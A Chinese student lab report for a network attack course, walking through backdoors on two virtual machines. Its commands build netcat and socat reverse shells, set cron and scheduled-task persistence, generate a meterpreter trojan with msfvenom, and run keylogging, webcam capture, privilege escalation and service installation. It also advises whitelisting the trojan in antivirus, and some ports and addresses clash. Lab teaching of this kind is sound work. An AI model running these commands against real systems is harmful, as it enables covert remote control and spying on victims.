20145328 《网络对抗技术》后门原理与实践
20145328 《网络对抗技术》后门原理与实践
实践内容
- 简单实用netcat和socat获取靶机shell,并实现任务计划启动;
- 使用msf-meterpreter生成可执行后门文件获取靶机shell,并进行一些命令操作,如查看ip、截屏、记录键盘输入、获取ruby交互界面、进程迁移、安装成服务等。
实践要求
1. 使用netcat获取主机操作Shell,cron启动
2. 使用socat获取主机操作Shell, 任务计划启动
3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。
实践基础知识
NC 或 netcat
- 关于netcat
- 又名nc,ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 例如在网上下载各种破解软件的过程中,在破解软件内被他人植入了后门,还有从别人那里拷贝的软件里面也有可能被植入了后门,自己使用的编译器被篡改过,编译出来的软件里面就自带了后门等等。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win下有直接双击启动,添加至任务计划程序,开机自启动,还有就是与其他程序绑定运行。
- Linux下也有定时启动,与其他程序绑定后运行,以及脚本运行。
(3)Meterpreter有哪些给你映像深刻的功能?
- 屏幕截图,获取击键记录,打开摄像头什么的,屏幕截图可以看到你现在正在干些什么,获取击键记录你在键盘上输入了什么内容都会被发现,各种各样的密码都会被记录下来,打开摄像头就更吓人了,已经不只是看到你电脑内发生了什么了。
(4)如何发现自己有系统有没有被安装后门?
- 电脑上一般是装有杀毒软件的,没有做过免杀的或者免杀做得不好的后门软件会被杀毒软件给抓出来,查看任务管理器内的进程选项卡,观察里面有没有运行奇怪的进程应该也是可以发现的,也可以打开自己的计划任务查看有哪些可疑的进程任务。
实验总结与体会
- 这次实验的印象让我非常深刻,亲手实现了原来印象中只有非常厉害的黑客才会的操作,才发现很多事情其实并没有想象中的那么困难,也让自己对于操作系统的脆弱有了更深一层次的理解,原来可能只是知道系统并不安全,但这个事实放在自己面前时一瞬间还是有点接受不过来,就像喜欢龙的叶公一样,当真正的龙出现在自己面前时,一时间也是吓得屁滚尿流。
实践环境
- 本次实践的系统环境为Win7-64bit,Kali-Linux-2016.1-64bit(后文中简称Kali)。
- 以下为本次实践中,两台虚拟机各自的ip地址:
- Win7-64bit:
- Kali-Linux-2016.1-64bit:
- 首先在课程主页附件中下载ncat.rar,解压并放入Windows虚拟机中,并将文件夹路径添加至系统高级设置的环境变量中,以便在cmd中可以使用ncat指令。
实践过程记录
使用netcat获取主机操作Shell,cron启动
1.Windows获取Linux Shell
- 在Win7-64bit的cmd中运行
ncat -l -p 5328
指令开启监听,由于是第一次执行,出现如图的防火墙提示,点击允许访问即可。 - 在Kali中运行
nc 192.168.1.104 5328 -e /bin/sh
反弹连接Win7。 - windows下获得一个linux shell,可运行任何指令,如ls,whoami,ifconfig等等
2.Linux获得Win Shell
- 在Kali中运行
ncat -l -p 5328
指令开启监听。 - 在Win7-64bit的cmd中运行
ncat.exe -e cmd.exe 192.168.1.107 5328
反弹连接Win7。 - Linux下看到Windows的命令提示,尝试输入ipconfig指令查看ip,
3.cron启动
- 首先在Kali中执行
crontab -e
指令,在最后一行输入自动执行的ncat指令, - 设置为46分自动启动,则当主机时间为46分时,若存在一台ip地址为
192.168.1.104
的主机正在监听自己的5328端口,该主机便可以获取到Kali的Shell,
使用socat获取主机操作Shell, 任务计划启动
1.Windows获取Linux Shell
- 在Kali中运行
socat tcp-listen:5328 system:bash,pty,stderr
指令开放5328端口 - 在Win7-64bit的cmd中运行
socat - tcp:192.168.1.104:5328
连接Kali,得到Linux shell,
2.Linux获得Win Shell
- 在Win7-64bit的cmd中运行
socat tcp-listen:5221 exec:cmd,pty,stderr
指令开放5328端口,并把cmd的stderr重定向到stdout,由于是第一次执行,出现如图的防火墙提示,点击允许访问即可。 - 在Kali中运行
socat - tcp:192.168.1.104:5328
连接Win7,得到win shell,
3.任务计划启动
- 在主机的控制面板中找到计划任务,打开任务计划程序,创建一个新任务,在操作选项中选择如下:
- 测试:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
通过meterpreter生成后门程序:20145328.exe
- linux下输入指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=80 -f exe > 20145328.exe
利用ncat或socat传送到主机
- 接下来需要将这个后门程序传到我们的靶机上,可以通过ncat来实现
- 在win的cmd下使用
ncat.exe -lv 443 > 20145328.exe
命令在443号端口进行监听 - 然后在Linux下使用
ncat -nv 192.168.1.104 443 < 20145328.exe
命令把文件传送过去
运行获取主机Shell
- MSF打开监听进程
msfconsole
:进入msfuse exploit/multi/handler
:进入handler模式set payload windows/meterpreter/reverse_tcp
:设置payloadshow options
:查看当前信息状态set LHOST 192.168.1.104
:设置LHOSTset LPORT 80
:设置LPORTexploit
:MSF开始监听
- 在windows下打开运行
20145328.exe
木马程序,然后就可以在linux攻击机上取得靶机的shell了【此时杀毒软件可能会报毒,点击找回文件并添加到信任区即可】
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 通过
help
查看可以使用的指令: - 通过
screenshot
进行屏幕截图: - 通过
getsystem
提权: - 通过
keyscan_start
和keyscan_dump
来记录靶机的键盘输入: - 通过
webcam_snap
捕捉键盘记录 - 通过
run metsvc
为主机安装一些系统服务